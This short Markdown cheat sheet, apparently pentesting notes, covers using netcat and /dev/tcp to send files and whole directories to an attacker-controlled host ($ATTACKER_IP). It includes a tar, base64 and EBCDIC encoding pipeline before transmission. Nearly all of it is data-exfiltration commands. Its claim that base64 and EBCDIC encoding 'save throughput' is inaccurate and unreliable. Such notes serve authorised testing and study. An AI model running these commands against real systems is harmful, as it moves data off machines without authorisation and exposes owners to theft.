40 lines
853 B
Markdown
40 lines
853 B
Markdown
# Netcat
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## Receive data via netcats
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### Receiver
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Set up the receiver to store the data `out.txt`.
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```sh
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nc -lp 8080 > out.txt
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```
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### Transceiver
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The transceiver transfers the file through netcat to the already setup receiver.
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```sh
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nc $ATTACKER_IP 8080 < in.txt
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```
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#### Transceiver tricks
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The file `out.txt` can be send without netcat as well in the following way
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```sh
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cat <file> > /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT
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```
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The connection has to be end manually after a while, this won't happen automatically.
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### Compress and Encode
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To save throughput, compress and encode the transmitted data before it is send
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```sh
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tar cfz - <directory> | base64 | dd conv=ebcdic > /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT
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```
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On receiver's side, after `out.data` has been received
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```sh
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dd conv=ascii if=out.data | base64 -d > out.tar
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tar xvf out.tar
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```
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